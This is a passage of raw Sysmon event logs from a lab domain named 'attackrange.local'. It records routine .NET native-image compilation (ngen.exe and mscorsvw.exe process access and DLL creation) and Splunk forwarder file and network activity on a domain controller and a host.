14:45:06.291{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F72-613B-F109-00000000F001}6736C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.291{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F72-613B-F109-00000000F001}6736C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000044915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:06.251{7BD73061-6F72-613B-F009-00000000F001}6924C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\1b0c-0\Microsoft.Office.Tools.Outlook.dll2021-09-10 14:45:06.251 10341000x800000000000000044914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.090{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F72-613B-F009-00000000F001}6924C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.080{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F72-613B-F009-00000000F001}6924C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.080{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F72-613B-F009-00000000F001}6924C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.030{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F72-613B-EF09-00000000F001}7164C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.020{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F72-613B-EF09-00000000F001}7164C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.020{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F72-613B-EF09-00000000F001}7164C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013987Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:07.697{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F102E6E156C5ADED166140F81F05D509,SHA256=80E56D73BCD8459B6B5B8617B967C7469581E51ACA2067F8C757CB092E584B77,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:07.603{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F73-613B-F809-00000000F001}5532C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:07.593{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F73-613B-F809-00000000F001}5532C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:07.593{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F73-613B-F809-00000000F001}5532C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:07.523{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F73-613B-F709-00000000F001}6916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:07.503{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F73-613B-F709-00000000F001}6916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:07.503{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F73-613B-F709-00000000F001}6916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000044939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:07.453{7BD73061-6F72-613B-F609-00000000F001}4424C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\1148-0\Microsoft.Office.Tools.Word.dll2021-09-10 14:45:07.453 23542300x800000000000000044938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:07.334{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D540180A5BFD0C3AB262CBA4609E24A6,SHA256=B84D1E69813AF1CCC7213779A36BEB2FA459B7F39448A4F0A5BF28224208DBC8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000044937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:07.334{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B0234773E5BB5BBF91AF88E781D3CFD1,SHA256=BCB73466DE99CA77942D312AFCB13FF28BA4B49EE301AFD637BC6F170E70235F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000044936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.398{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59265-false10.0.1.12-8000- 23542300x800000000000000013988Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:08.744{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2E4949CD01935C2FC6105C690FEC7AFB,SHA256=8E9F4D3D3642E2CED91C32B29C19B5120FE16569559092FF5B0BD62504455585,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:08.977{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F74-613B-FC09-00000000F001}5272C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:08.957{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F74-613B-FC09-00000000F001}5272C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:08.957{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F74-613B-FC09-00000000F001}5272C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:08.897{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F74-613B-FB09-00000000F001}6832C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:08.847{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F74-613B-FB09-00000000F001}6832C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:08.847{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F74-613B-FB09-00000000F001}6832C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:08.707{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F74-613B-FA09-00000000F001}4952C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:08.697{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F74-613B-FA09-00000000F001}4952C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 